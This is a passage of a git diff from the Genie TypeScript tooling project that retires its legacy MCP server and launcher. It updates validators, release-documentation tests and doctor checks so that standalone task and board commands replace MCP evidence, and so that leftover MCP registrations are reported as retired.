lstatSync(launcher).isSymbolicLink()) { - fail(`plugin-local MCP launcher must be a physical file: ${launcher}`); - } - if (!isWithin(realpathSync(pluginRoot), realpathSync(launcher))) { - fail('plugin-local MCP launcher resolves outside the plugin root'); - } + if (existsSync(launcher)) fail(`retired MCP launcher must not ship: ${launcher}`); } -// Claude Code spawns plugin MCP servers from the project cwd (the root -// .mcp.json's relative launcher path only works for Codex), so the Claude -// manifest must carry its own ${CLAUDE_PLUGIN_ROOT}-anchored entry that -// overrides the shared root config. function checkClaudePluginMcpLayout(pluginRoot: string): void { const manifestPath = join(pluginRoot, '.claude-plugin', 'plugin.json'); if (!existsSync(manifestPath)) fail(`Claude plugin manifest missing: ${manifestPath}`); const manifest = JSON.parse(readFileSync(manifestPath, 'utf8')) as Record<string, unknown>; - const servers = manifest.mcpServers; - const serverMap = - typeof servers === 'object' && servers !== null && !Array.isArray(servers) - ? (servers as Record<string, unknown>) - : undefined; - const rawEntry = serverMap?.genie; - const entry = - typeof rawEntry === 'object' && rawEntry !== null && !Array.isArray(rawEntry) - ? (rawEntry as { command?: unknown; args?: unknown; cwd?: unknown }) - : undefined; - if ( - entry?.command !== 'node' || - !Array.isArray(entry.args) || - entry.args.length !== 1 || - entry.args[0] !== '${CLAUDE_PLUGIN_ROOT}/scripts/mcp-launcher.cjs' || - 'cwd' in entry - ) { - fail( - 'Claude plugin manifest must declare an inline genie MCP server running node ${CLAUDE_PLUGIN_ROOT}/scripts/mcp-launcher.cjs', - ); - } + if ('mcpServers' in manifest) fail('Claude plugin manifest must not declare retired MCP servers'); } // The exact bounded read-only H3 launcher, pinned identically across the source diff --git a/scripts/plugin-executables-check.test.ts b/scripts/plugin-executables-check.test.ts index 85c526a03..dda907b99 100644 --- a/scripts/plugin-executables-check.test.ts +++ b/scripts/plugin-executables-check.test.ts @@ -1,5 +1,4 @@ import { describe, expect, test } from 'bun:test'; -import { statSync } from 'node:fs'; import { join } from 'node:path'; const CHECK_SCRIPT = join(import.meta.dir, 'plugin-executables-check.ts'); @@ -16,19 +15,10 @@ function runCheck(args: string[] = []): { code: number; output: string } { describe('plugin executable static gate', () => { test('strict-checks every shipped source', () => { const result = runCheck(); - expect(result.output).toContain('8 strict checked sources, 1 exec-bit asserted, 8 shipped scripts'); + expect(result.output).toContain('7 strict checked sources, 0 exec-bit asserted, 7 shipped scripts'); expect(result.code).toBe(0); }); - // Kimi's manifest execs mcp-launcher.cjs through its own shebang, so the - // committed mode is a runtime contract, not a cosmetic file attribute. - // Owner bit only: git materializes 100755 as 0777 & ~umask, so group/other - // exec bits are absent on a clean checkout under a restrictive umask. - test('asserts the shebang-exec launcher keeps its committed executable bit', () => { - const mode = statSync(join(import.meta.dir, '..', 'plugins', 'genie', 'scripts', 'mcp-launcher.cjs')).mode; - expect(mode & 0o100).toBe(0o100); - }); - test('rejects an implicit-any negative fixture', () => { const result = runCheck(['--strict-fixture', IMPLICIT_ANY_FIXTURE]); expect(result.code).not.toBe(0); diff --git a/scripts/plugin-executables-check.ts b/scripts/plugin-executables-check.ts index afeed2525..fce6eff2e 100644 --- a/scripts/plugin-executables-check.ts +++ b/scripts/plugin-executables-check.ts @@ -15,18 +15,12 @@ const CHECK_JS_TARGETS = [ 'validate-completion.cjs', 'council-stamp.cjs', 'dispatch-runtime.cjs', - 'mcp-launcher.cjs', 'smart-install.js', 'src/session-context.ts', 'src/validate-wish.ts', ].map((path) => join(SCRIPTS, path)); -/** - * Scripts a runtime execs directly through their shebang rather than via - * `node <path>`. Kimi's manifest runs `mcpServers.genie.command` as the - * program itself, so a lost executable bit is a silent MCP outage. - */ -const REQUIRED_EXECUTABLES = ['mcp-launcher.cjs'].map((path) => join(SCRIPTS, path)); +const REQUIRED_EXECUTABLES: string[] = []; function strictFixtureTargets(argv: string[]): string[] { const targets: string[] = []; diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 873aa7b39..e2ab39062 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -308,7 +308,7 @@ describe('Group E release and documentation contracts', () => { // Missing, skipped, duplicated, stale, or identity-mismatched native // entries fail the aggregate instead of degrading to representative proof. expect(completeness).toContain('if: ${{ always() }}'); - expect(completeness).toContain('[[ "$PREPARE_RESULT" == success && "$NATIVE_RESULT" == success ]]'); + expect(completeness).toContain('[[ "$PREPARE_RESULT" == success && "$STANDALONE_RESULT" == success ]]'); expect(completeness).toContain('downloaded candidate matrix differs from the matrix used to schedule native jobs'); expect(completeness).toContain('bun scripts/validate-dogfood-matrix-evidence.ts'); expect(completeness).toContain('--evidence-dir aggregate/entries'); @@ -695,6 +695,7 @@ describe('Group E release and documentation contracts', () => { const postExtractVersion = build.lastIndexOf('scripts/release-payload-version.ts'); expect(archive).toBeGreaterThan(-1); expect(extract).toBeGreaterThan(archive); + expect(build).toContain('( umask 000; tar -xzf "${TARBALL}" -C "${VERIFY_ROOT}" )'); expect(build).toContain('assert_release_tree_equal "${STAGE}" "${VERIFY_ROOT}"'); expect(build).toContain('cmp -- "${expected_entry}" "${actual_entry}"'); expect(build).toContain('cp "${REPO_ROOT}/LICENSE"'); @@ -824,8 +825,8 @@ describe('Group E release and documentation contracts', () => { } expect(operator).toContain('Genie does not open `.genie/genie.db`'); expect(operator).toContain('roadmap'); - expect(operator).toContain('The legacy `genie mcp`'); - expect(operator).toContain('until the later A7 PR'); + expect(operator).toContain('The legacy Genie MCP server is retired'); + expect(operator).toContain('pre-A7 signed release'); expect(operator).toContain('plugins/genie/references/orca-orchestration.md'); for (const topic of [ @@ -914,7 +915,7 @@ describe('Group E release and documentation contracts', () => { '22 physical', 'Seven optional', '36 adapted skills', - '.codex/config.toml', + 'MCP retirement', 'H3', 'H4', 'H6', @@ -927,8 +928,8 @@ describe('Group E release and documentation contracts', () => { expect(read('README.md')).toContain('the **sole** Genie-managed skill provider'); expect(read('README.md')).toContain('Fallback retirement'); expect(read('plugins/genie/README.md')).toContain('the only Genie-managed skill provider'); - expect(read('README.md')).toContain('the plugin declares no Codex MCP route'); - expect(read('plugins/genie/README.md')).toContain('the plugin declares no Codex MCP route'); + expect(read('README.md')).toContain('No product MCP route or launcher'); + expect(read('plugins/genie/README.md')).toContain('No launcher or registration ships'); // The retired CLI-managed-fallback promise must be gone from operator docs. expect(docs).not.toContain('synchronizes up to 23 digest-managed product-skill fallbacks'); expect(docs).not.toContain('CLI-managed product skills'); @@ -1138,8 +1139,8 @@ describe('Group E release and documentation contracts', () => { expect(omni).toContain('{instance, chat, repo, agent, persona?}'); expect(omni).toContain('"agent": "codex"'); const readme = read('README.md'); - expect(readme).toContain('The Codex route is plugin-independent'); - for (const path of ['.mcp.json', '.codex/config.toml']) expect(readme).toContain(path); + expect(readme).toContain('registrations proven to be Genie-owned'); + expect(readme).toContain('unowned same-name routes'); }); test('the retired homolog channel never reappears in any workflow', () => { diff --git a/scripts/run-musl-dogfood.test.ts b/scripts/run-musl-dogfood.test.ts index 8281d64b9..ee9284631 100644 --- a/scripts/run-musl-dogfood.test.ts +++ b/scripts/run-musl-dogfood.test.ts @@ -78,7 +78,7 @@ describe('musl dogfood execution adapter', () => { GENIE_HOME: join(fx.root, 'genie-home'), CODEX_HOME: join(fx.root, 'codex-home'), }; - const result = Bun.spawnSync(['bash', SCRIPT, fx.binary, 'mcp'], { + const result = Bun.spawnSync(['bash', SCRIPT, fx.binary, 'board', '--json'], { cwd: repo, env, stdout: 'pipe', diff --git a/scripts/validate-live-dogfood-evidence.test.ts b/scripts/validate-live-dogfood-evidence.test.ts index 6fbe183b3..28c69d06a 100644 --- a/scripts/validate-live-dogfood-evidence.test.ts +++ b/scripts/validate-live-dogfood-evidence.test.ts @@ -96,7 +96,7 @@ function stage(id: (typeof REQUIRED_STAGE_IDS)[number]) { ], 'activation-consent': [0, 'activated', 'current', null], 'assets-converged': [0, 'current', 'current', null], - 'untouched-b-before-init': [1, 'project-database-unavailable', 'project-database-unavailable', null], + 'untouched-b-before-init': [0, 'empty', 'empty', null], 'untouched-b-after-init': [0, 'current', 'current', null], 'new-thread-sentinel': [0, 'current', 'current', null], 'doctor-current': [0, 'current', 'current', null], @@ -104,8 +104,8 @@ function stage(id: (typeof REQUIRED_STAGE_IDS)[number]) { const [exit, humanState, jsonState, trailer] = states[id] as [number, string, string, unknown]; const generation = id === 't-delivery-repair' || candidateStages.includes(id) ? 'candidate' : 'previous'; const executable = `/tmp/dogfood/bin/${generation}`; - const native = ['untouched-b-before-init', 'untouched-b-after-init', 'new-thread-sentinel'].includes(id); - const argv = native ? ['mcpServer/tool/call', id] : [id]; + const standalone = ['untouched-b-before-init', 'untouched-b-after-init', 'new-thread-sentinel'].includes(id); + const argv = standalone ? ['task', 'list', '--json'] : [id]; const command = { executable, executableSha256: generation === 'candidate' ? HEX('c') : HEX('7'), @@ -116,13 +116,18 @@ function stage(id: (typeof REQUIRED_STAGE_IDS)[number]) { requestedCwd: '/tmp/dogfood/repo-a', cwdIdentity: '9:2001', exit, - stdout: native ? JSON.stringify({ schemaVersion: 1, kind: 'verified-local-fixture-direct-mcp', payload: {} }) : '', + stdout: standalone ? JSON.stringify({ tasks: [] }) : '', stderr: '', }; - const observation = { schemaVersion: 1, commands: [command] }; + const observation = { + schemaVersion: 1, + commands: standalone + ? [command, { ...command, argv: ['board', '--json'], stdout: JSON.stringify({ tasks: [] }) }] + : [command], + }; return { id, - command: [executable, ...argv].join(' '), + command: observation.commands.map((entry) => [executable, ...entry.argv].join(' ')).join(' && '), exit, humanState, jsonState, @@ -190,7 +195,12 @@ function validManifest(): Record<string, any> { canonicalPayloadSha256: candidate.payloadSha256, }, convergence: { - route: { state: 'managed-project', command: '/tmp/dogfood/genie-home/bin/genie', cwdOverride: null }, + standalone: { + state: 'standalone', + command: '/tmp/dogfood/genie-home/bin/genie', + taskArgs: ['task', 'list', '--json'], + boardArgs: ['board', '--json'], + }, roles: { expectedCount: 7, observedCount: 7, current: true, reviewerSha256: HEX('e') }, }, stages: REQUIRED_STAGE_IDS.map(stage), @@ -201,12 +211,11 @@ function validManifest(): Record<string, any> { b: { root: b.root, beforeInit: { - routeState: 'absent', - fallbackUsed: false, - result: 'project-database-unavailable', + databaseState: 'absent', + result: 'empty', returnedTasks: 0, }, - afterInit: { ...b, routeState: 'managed-project' }, + afterInit: { ...b, evidenceMode: 'standalone' }, }, }, }; @@ -246,6 +255,16 @@ describe('validate-live-dogfood-evidence schema v2', () => { expect(validateLiveDogfoodEvidence(evidence())).toEqual([]); }); + test('accepts standalone task/board evidence and rejects retired MCP evidence', () => { + expect(validateLiveDogfoodEvidence(evidence())).toEqual([]); + expect( + errorsAfter((manifest) => { + const stage = manifest.lifecycle.stages.find((entry: { id: string }) => entry.id === 'new-thread-sentinel'); + stage.observation.commands[0].argv = ['mcpServer/tool/call', 'genie', 'genie_board']; + }).join('\n'), + ).toContain('must reject retired MCP evidence'); + }); + test('rejects obsolete flat integrationSummary.state', () => { const flat = { ok: true, checks: [{}], integrationSummary: { schemaVersion: 1, state: 'current' } }; expect(validateLiveDogfoodEvidence(evidence(validManifest(), flat)).join('\n')).toContain( @@ -365,17 +384,17 @@ describe('validate-live-dogfood-evidence schema v2', () => { ).toContain('distinct child'); }); - test('requires untouched B absent/no-fallback before init and managed after', () => { + test('requires untouched B database absence before init and standalone evidence after', () => { expect( errorsAfter((m) => { - m.repositories.b.beforeInit.fallbackUsed = true; + m.repositories.b.beforeInit.databaseState = 'present'; }).join('\n'), - ).toContain('fallbackUsed'); + ).toContain('databaseState'); expect( errorsAfter((m) => { - m.repositories.b.afterInit.routeState = 'absent'; + m.repositories.b.afterInit.evidenceMode = 'mcp'; }).join('\n'), - ).toContain('routeState'); + ).toContain('evidenceMode'); }); }); diff --git a/scripts/validate-live-dogfood-evidence.ts b/scripts/validate-live-dogfood-evidence.ts index b71a6e195..997a029c7 100644 --- a/scripts/validate-live-dogfood-evidence.ts +++ b/scripts/validate-live-dogfood-evidence.ts @@ -291,13 +291,21 @@ function validateDelivery( function validateConvergence(errors: string[], value: unknown): void { const convergence = record(errors, 'lifecycle.convergence', value); if (convergence === null) return; - const route = record(errors, 'lifecycle.convergence.route', convergence.route); - same(errors, 'convergence.route.state', route?.state, 'managed-project'); - absolute(errors, 'convergence.route.command', route?.command); - same(errors, 'convergence.route.cwdOverride', route?.cwdOverride, null); - if (typeof route?.command === 'string' && /[/\\]plugins[/\\]cache(?:[/\\]|$)/.test(route.command)) { - errors.push('convergence.route.command must use the stable facade, not a plugin cache path'); - } + const standalone = record(errors, 'lifecycle.convergence.standalone', convergence.standalone); + same(errors, 'convergence.standalone.state', standalone?.state, 'standalone'); + absolute(errors, 'convergence.standalone.command', standalone?.command); + same( + errors, + 'convergence.standalone.taskArgs', + JSON.stringify(standalone?.taskArgs), + JSON.stringify(['task', 'list', '--json']), + ); + same( + errors, + 'convergence.standalone.boardArgs', + JSON.stringify(standalone?.boardArgs), + JSON.stringify(['board', '--json']), + ); const roles = record(errors, 'lifecycle.convergence.roles', convergence.roles); const expected = roles?.expectedCount; if (typeof expected !== 'number' || !Number.isInteger(expected) || expected <= 0) { @@ -379,12 +387,11 @@ function validateRepositories(errors: string[], value: unknown): void { if (repoB === null) return; absolute(errors, 'repositories.b.root', repoB.root); const before = record(errors, 'repositories.b.beforeInit', repoB.beforeInit); - same(errors, 'repositories.b.beforeInit.routeState', before?.routeState, 'absent'); - same(errors, 'repositories.b.beforeInit.fallbackUsed', before?.fallbackUsed, false); - same(errors, 'repositories.b.beforeInit.result', before?.result, 'project-database-unavailable'); + same(errors, 'repositories.b.beforeInit.databaseState', before?.databaseState, 'absent'); + same(errors, 'repositories.b.beforeInit.result', before?.result, 'empty'); same(errors, 'repositories.b.beforeInit.returnedTasks', before?.returnedTasks, 0); const after = validateRepoObservation(errors, 'repositories.b.afterInit', repoB.afterInit, repositories.cacheRoot); - same(errors, 'repositories.b.afterInit.routeState', after?.routeState, 'managed-project'); + same(errors, 'repositories.b.afterInit.evidenceMode', after?.evidenceMode, 'standalone'); if (repoA?.root === repoB.root) errors.push('repositories A and B must be different roots'); const aToken = isRecord(repoA?.sentinel) ? repoA.sentinel.token : null; const bToken = isRecord(after?.sentinel) ? after.sentinel.token : null; @@ -443,9 +450,9 @@ const STAGE_EXPECTATIONS: Record<(typeof REQUIRED_STAGE_IDS)[number], StageExpec trailer: null, }, 'untouched-b-before-init': { - exit: 1, - human: 'project-database-unavailable', - json: 'project-database-unavailable', + exit: 0, + human: 'empty', + json: 'empty', generation: 'candidate', binary: 'candidate', trailer: null, @@ -517,86 +524,29 @@ function validateCapturedCommand( }; } -const NATIVE_MCP_STAGES = new Set<(typeof REQUIRED_STAGE_IDS)[number]>([ +const STANDALONE_STAGES = new Set<(typeof REQUIRED_STAGE_IDS)[number]>([ 'untouched-b-before-init', 'untouched-b-after-init', 'new-thread-sentinel', ]); -function validateHostNativeRaw( - errors: string[], - label: string, - raw: JsonRecord, - command: JsonRecord, - expectError: boolean, -): void { - same(errors, `${label}.schemaVersion`, raw.schemaVersion, 1); - const codex = record(errors, `${label}.codex`, raw.codex); - absolute(errors, `${label}.codex.executable`, codex?.executable); - nonempty(errors, `${label}.codex.version`, codex?.version); - if (typeof codex?.appServerPid !== 'number' || !Number.isInteger(codex.appServerPid) || codex.appServerPid <= 0) { - errors.push(`${label}.codex.appServerPid must be a positive integer`); - } - const candidate = record(errors, `${label}.candidate`, raw.candidate); - same(errors, `${label}.candidate.executable`, candidate?.executable, command.candidateBinary); - same(errors, `${label}.candidate execution`, candidate?.adapter ?? candidate?.executable, command.executable); - same(errors, `${label}.rawRequestedCwd`, raw.rawRequestedCwd, command.requestedCwd); - nonempty(errors, `${label}.threadId`, raw.threadId); - const launcher = record(errors, `${label}.launcher`, raw.launcher); - same(errors, `${label}.launcher.pid`, launcher?.pid, command.pid); - same(errors, `${label}.launcher.effectiveCwd`, launcher?.effectiveCwd, command.requestedCwd); - same(errors, `${label}.launcher.cwdIdentity`, launcher?.cwdIdentity, command.cwdIdentity); - same(errors, `${label}.launcher.candidate`, launcher?.candidate, command.candidateBinary); - same(errors, `${label}.launcher.adapter`, launcher?.adapter, candidate?.adapter); - const control = record(errors, `${label}.control`, raw.control); - same(errors, `${label}.control.effectiveCwd`, control?.effectiveCwd, launcher?.effectiveCwd); - same(errors, `${label}.control.cwdIdentity`, control?.cwdIdentity, launcher?.cwdIdentity); - const server = record(errors, `${label}.mcpServer`, raw.mcpServer); - same(errors, `${label}.mcpServer.name`, server?.name, 'genie'); - if (!Array.isArray(server?.tools) || !server.tools.includes('genie_board')) { - errors.push(`${label}.mcpServer.tools must include genie_board`); - } - const response = record(errors, `${label}.toolResponse`, raw.toolResponse); - same(errors, `${label}.toolResponse.isError`, response?.isError === true, expectError); - const outcome = record(errors, `${label}.outcome`, raw.outcome); - same(errors, `${label}.outcome.kind`, outcome?.kind, expectError ? 'expected-error' : 'sentinel'); -} - -function validateNativeObservation( +function validateStandaloneObservation( errors: string[], id: (typeof REQUIRED_STAGE_IDS)[number], index: number, - evidenceKind: unknown, + _evidenceKind: unknown, commands: Array<{ record: JsonRecord }>, ): void { - if (!NATIVE_MCP_STAGES.has(id)) return; - const label = `stages[${index}].nativeMcp`; - const command = commands.find( - (value) => Array.isArray(value.record.argv) && value.record.argv.includes('mcpServer/tool/call'), - )?.record; - if (command === undefined || typeof command.stdout !== 'string') { - errors.push(`${label} must contain a raw MCP command observation`); - return; - } - let raw: unknown; - try { - raw = JSON.parse(command.stdout); - } catch { - errors.push(`${label} stdout must be JSON`); - return; - } - const recordValue = record(errors, label, raw); - if (recordValue === null) return; - if (evidenceKind === 'verified-local-fixture') { - same(errors, `${label}.schemaVersion`, recordValue.schemaVersion, 1); - same(errors, `${label}.kind`, recordValue.kind, 'verified-local-fixture-direct-mcp'); - return; - } - if (evidenceKind !== 'host-native') { - errors.push(`${label} has an unsupported evidence kind`); - return; + if (!STANDALONE_STAGES.has(id)) return; + const label = `stages[${index}].standalone`; + const argv = commands.map((value) => value.record.argv); + const hasTask = argv.some((args) => Array.isArray(args) && args.join(' ') === 'task list --json'); + const hasBoard = argv.some((args) => Array.isArray(args) && args.join(' ') === 'board --json'); + if (!hasTask || !hasBoard) + errors.push(`${label} must contain standalone task list --json and board --json observations`); + if (argv.some((args) => Array.isArray(args) && args.some((arg) => String(arg).toLowerCase().includes('mcp')))) { + errors.push(`${label} must reject retired MCP evidence`); } - validateHostNativeRaw(errors, label, recordValue, command, id === 'untouched-b-before-init'); } function validateStageObservation( @@ -633,7 +583,7 @@ function validateStageObservation( if (!commands.some((command) => command.candidateSha256 === expectedBinarySha256)) { errors.push(`stages[${index}].observation must bind the authenticated generation binary digest`); } - validateNativeObservation(errors, id, index, evidenceKind, commands); + validateStandaloneObservation(errors, id, index, evidenceKind, commands); const serialized = `${JSON.stringify(observation, null, 2)}\n`; const observedDigest = createHash('sha256').update(serialized).digest('hex'); same(errors, `stages[${index}].observation digest`, stage.observationSha256, observedDigest); diff --git a/skills/genie/reference/lifecycle.md b/skills/genie/reference/lifecycle.md index 5a5e4160b..5401ccc69 100644 --- a/skills/genie/reference/lifecycle.md +++ b/skills/genie/reference/lifecycle.md @@ -94,7 +94,7 @@ The checkout claim is atomic: exactly one concurrent claimant wins; the loser ge genie board [--wish <slug>] [--json] # kanban of current state genie task status <id> # detail, dependencies, stage log genie task list --status in_progress # active claims -genie mcp # stdio MCP server over the task DB (read + write tools) +genie mcp # stable non-zero retirement diagnostic (no server starts) ``` No terminal scraping, no sleep-polling — subagents notify on completion, and a retired orchestration-guard hook used to flag scraping patterns. diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index a49d5f56a..9128f2d11 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -44,7 +44,6 @@ import { type HeldLifecycleLease, acquireLifecycleLease as acquireCodexLifecycleLease, } from '../../lib/codex-lifecycle-lease'; -import { REQUIRED_GENIE_MCP_TOOLS } from '../../lib/codex-mcp-health-session'; import type { CodexPluginProbe } from '../../lib/codex-project-mcp'; import { CANONICAL_GENIE_SKILL_NAMES, @@ -139,14 +138,7 @@ function healthyUpdateCodexPluginOnly(overrides: CodexPluginOnlyDeps = {}): Code expectedVersion: '5.260711.3', skillInventory: CANONICAL_GENIE_SKILL_NAMES, payload: [], - mcp: { initialized: true, tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }, }) as CodexHealthProof, - runSession: () => ({ - ok: true, - detail: 'fixture session', - tools: [...REQUIRED_GENIE_MCP_TOOLS], - wishStatusReadOnly: true, - }), installAgents: () => ({ installed: 0, skippedUserOwned: [], keptModified: [], removed: [], backedUp: [] }), fallbackSkillsDir: mkdtempSync(join(tmpdir(), 'genie-update-fallback-')), ...overrides, @@ -2930,7 +2922,7 @@ describe('runManualUpdateConvergence — hermes leg restored end-to-end (restore }; } - test('selection auto converges the hermes leg (mcp_servers.genie + skills.external_dirs) into a fresh config', () => { + test('selection auto converges Hermes skills without recreating the retired MCP route', () => { const result = runManualUpdateConvergence({ expectedVersion: '9.9.9', selection: 'auto', @@ -2942,8 +2934,8 @@ describe('runManualUpdateConvergence — hermes leg restored end-to-end (restore const configPath = join(hermesHome, 'config.yaml'); const text = readFileSync(configPath, 'utf8'); - expect(text).toContain('mcp_servers:'); - expect(text).toContain(genieBin); + expect(text).not.toContain('mcp_servers:'); + expect(text).not.toContain(genieBin); expect(text).toContain('skills:'); expect(text).toContain('external_dirs:'); expect(text).toContain(join(genieHome, 'plugins', 'genie', 'skills')); diff --git a/src/genie-commands/doctor.test.ts b/src/genie-commands/doctor.test.ts index f2a7ed266..244aa7981 100644 --- a/src/genie-commands/doctor.test.ts +++ b/src/genie-commands/doctor.test.ts @@ -18,7 +18,7 @@ import { import { tmpdir } from 'node:os'; import { dirname, join } from 'node:path'; import { computeDirDigest, computeFileDigest } from '../lib/agent-sync.js'; -import { reconcileCodexProjectMcp, resolveGitProjectRoots } from '../lib/codex-project-mcp.js'; +import { resolveGitProjectRoots } from '../lib/codex-project-mcp.js'; import { CANONICAL_GENIE_SKILL_NAMES } from '../lib/runtime-integrations.js'; import { VERSION } from '../lib/version.js'; import { @@ -66,6 +66,15 @@ async function captureDoctor(fn: () => Promise<void>): Promise<{ output: string; } const NO_CODEX = { cliAvailable: false, status: 'unavailable' as const, installed: false, detail: 'fixture absent' }; + +function seedRetiredCodexMarker(root: string): void { + const directory = join(root, '.codex'); + mkdirSync(directory, { recursive: true }); + writeFileSync( + join(directory, 'config.toml'), + '# BEGIN GENIE MCP FALLBACK\nmcp_servers.genie.command = "/absolute/genie"\nmcp_servers.genie.args = ["mcp"]\n# END GENIE MCP FALLBACK\n', + ); +} const ISOLATED_ENV_KEYS = ['HOME', 'GENIE_HOME', 'CODEX_HOME', 'CLAUDE_CONFIG_DIR', 'HERMES_HOME'] as const; let isolatedHome: string; let savedIsolatedEnv: Partial<Record<(typeof ISOLATED_ENV_KEYS)[number], string>>; @@ -94,7 +103,14 @@ afterEach(() => { }); function isolatedDoctorDeps(root = join(isolatedHome, 'repo')) { - return { root, databaseRoot: root, pluginProbe: NO_CODEX, bunVersion: '1.3.10', bunPath: '/usr/bin/bun' }; + return { + root, + databaseRoot: root, + pluginProbe: NO_CODEX, + codexActivation: null, + bunVersion: '1.3.10', + bunPath: '/usr/bin/bun', + }; } describe('Bun runtime contract', () => { @@ -198,11 +214,7 @@ describe('Codex doctor lifecycle results', () => { const root = mkdtempSync(join(tmpdir(), 'doctor-node-availability-')); try { trustProjectInCodexConfig(root); - reconcileCodexProjectMcp( - root, - { cliAvailable: true, status: 'ok', installed: true, enabled: false, usable: false, detail: 'disabled' }, - { command: '/absolute/genie', args: ['mcp'] }, - ); + seedRetiredCodexMarker(root); const checks = await checkCodexIntegration(root, { cliAvailable: true, status: 'ok', @@ -215,8 +227,8 @@ describe('Codex doctor lifecycle results', () => { const plugin = checks.find((check) => check.name === 'Codex Genie plugin'); const route = checks.find((check) => check.name === 'Codex Genie MCP registration'); expect(plugin?.detail).toContain('"node" is not available on PATH'); - expect(route).toMatchObject({ status: 'pass' }); - expect(route?.detail).toContain('fallback'); + expect(route).toMatchObject({ status: 'warn' }); + expect(route?.detail).toContain('retired route remains'); expect(readFileSync(join(root, '.codex', 'config.toml'), 'utf8')).toContain('/absolute/genie'); } finally { rmSync(root, { recursive: true, force: true }); @@ -288,7 +300,7 @@ describe('Codex doctor lifecycle results', () => { usabilityDetail: 'active plugin cache root is missing', detail: 'active plugin cache root is missing', }; - reconcileCodexProjectMcp(root, probe, { command: '/absolute/genie', args: ['mcp'] }); + seedRetiredCodexMarker(root); const checks = await checkCodexIntegration(root, probe); const plugin = checks.find((check) => check.name === 'Codex Genie plugin'); const capability = checks.find((check) => check.name === 'Codex Genie MCP capability'); @@ -296,8 +308,8 @@ describe('Codex doctor lifecycle results', () => { expect(plugin).toMatchObject({ status: 'warn' }); expect(capability).toMatchObject({ status: 'warn' }); expect(capability?.detail).toContain('source-bundle declarations do not establish runtime health'); - expect(route).toMatchObject({ status: 'pass' }); - expect(route?.detail).toContain('fallback'); + expect(route).toMatchObject({ status: 'warn' }); + expect(route?.detail).toContain('retired route remains'); } finally { if (priorCodexHome === undefined) Reflect.deleteProperty(process.env, 'CODEX_HOME'); else process.env.CODEX_HOME = priorCodexHome; @@ -360,11 +372,7 @@ describe('Codex doctor lifecycle results', () => { if (roots === null) throw new Error('linked worktree roots were not resolved'); expect(realpathSync(roots.worktreeRoot)).toBe(realpathSync(linked)); expect(realpathSync(roots.commonRoot)).toBe(realpathSync(repo)); - reconcileCodexProjectMcp( - linked, - { cliAvailable: true, status: 'ok', installed: true, enabled: false, usable: false, detail: 'disabled' }, - { command: '/absolute/genie', args: ['mcp'] }, - ); + seedRetiredCodexMarker(linked); expect(existsSync(join(linked, '.codex', 'config.toml'))).toBe(true); expect(existsSync(join(repo, '.codex', 'config.toml'))).toBe(false); @@ -393,18 +401,7 @@ describe('Codex doctor lifecycle results', () => { const durations: number[] = []; for (let index = 0; index < 5; index += 1) { const started = performance.now(); - await captureDoctor(() => - doctorCommand( - { json: true }, - { - root: process.cwd(), - databaseRoot: process.cwd(), - pluginProbe: { cliAvailable: false, status: 'unavailable', installed: false, detail: 'fixture absent' }, - bunVersion: '1.3.10', - bunPath: '/usr/bin/bun', - }, - ), - ); + await captureDoctor(() => doctorCommand({ json: true }, isolatedDoctorDeps())); durations.push(performance.now() - started); } durations.sort((a, b) => a - b); @@ -1396,33 +1393,32 @@ describe('checkAgentSync', () => { `mcp_servers:\n genie:\n command: ${JSON.stringify(command)}\n args:\n - mcp\n`; const skillsConfig = (dir: string) => `skills:\n external_dirs:\n - ${JSON.stringify(dir)}\n`; - test('hermes mcp leg: absolute executable command → pass; each unhealthy shape → warn', () => { + test('hermes mcp leg: any remaining route warns; absence is the retired healthy state', () => { presentHermes(); const bin = presentGenieBinary(); writeHermesConfig(mcpConfig(bin)); let mcp = find(checkAgentSync(paths()), 'agent sync: hermes mcp'); - expect(mcp?.status).toBe('pass'); + expect(mcp?.status).toBe('warn'); expect(mcp?.detail).toContain(bin); // Relative command → warn. writeHermesConfig(mcpConfig('genie')); mcp = find(checkAgentSync(paths()), 'agent sync: hermes mcp'); expect(mcp?.status).toBe('warn'); - expect(mcp?.detail).toContain('not absolute'); + expect(mcp?.detail).toContain('retired'); // Absolute but non-existent/non-executable → warn. writeHermesConfig(mcpConfig(join(tmp, 'bin', 'nope'))); mcp = find(checkAgentSync(paths()), 'agent sync: hermes mcp'); expect(mcp?.status).toBe('warn'); - expect(mcp?.detail).toContain('not executable'); + expect(mcp?.detail).toContain('retired'); - // Config absent entirely → warn advising genie update. + // Config absent entirely is the converged A7 state. rmSync(join(hermesHome, 'config.yaml'), { force: true }); mcp = find(checkAgentSync(paths()), 'agent sync: hermes mcp'); - expect(mcp?.status).toBe('warn'); - expect(mcp?.detail).toContain('config.yaml absent'); - expect(mcp?.suggestion).toContain('genie update'); + expect(mcp?.status).toBe('pass'); + expect(mcp?.detail).toContain('retired route absent'); }); test('hermes skills leg: external_dirs contains the product root → pass', () => { @@ -1455,13 +1451,13 @@ describe('checkAgentSync', () => { expect(skills?.suggestion).toContain('genie update'); }); - test('hermes legs are independent: healthy MCP + unhealthy skills', () => { + test('hermes legs are independent: stale MCP + unhealthy skills', () => { presentHermes(); const bin = presentGenieBinary(); - // MCP block healthy, skills block absent → mcp pass, skills warn. + // A stale MCP block and absent skills are independent warnings. writeHermesConfig(mcpConfig(bin)); const results = checkAgentSync(paths()); - expect(find(results, 'agent sync: hermes mcp')?.status).toBe('pass'); + expect(find(results, 'agent sync: hermes mcp')?.status).toBe('warn'); expect(find(results, 'agent sync: hermes skills')?.status).toBe('warn'); // The link leg stays independently healthy. expect(find(results, 'agent sync: hermes')?.status).toBe('pass'); @@ -1526,10 +1522,10 @@ describe('checkAgentSync', () => { }); // ------------------------------------------------------------------------- - // Textual duplicate-key detection (DF-1): the mcp/skills legs must WARN when + // Textual duplicate-key detection (DF-1): the retired-route/skills legs must WARN when // a spec-invalid duplicate child key is present under mcp_servers:/skills: — - // even when the last-wins PARSED value looks perfectly healthy, since that - // is exactly what let the duplicate persist forever before the repair. + // even when the parser accepts the last value, since duplicate legacy keys + // are still stale retirement residue. // ------------------------------------------------------------------------- const dupMcpConfig = (command: string) => @@ -1537,18 +1533,11 @@ describe('checkAgentSync', () => { const dupSkillsConfig = (dir: string) => `skills:\n external_dirs: []\n external_dirs:\n - ${JSON.stringify(dir)}\n`; - test('hermes mcp leg: textual duplicate genie key → warn naming the config path, even though the parsed value is 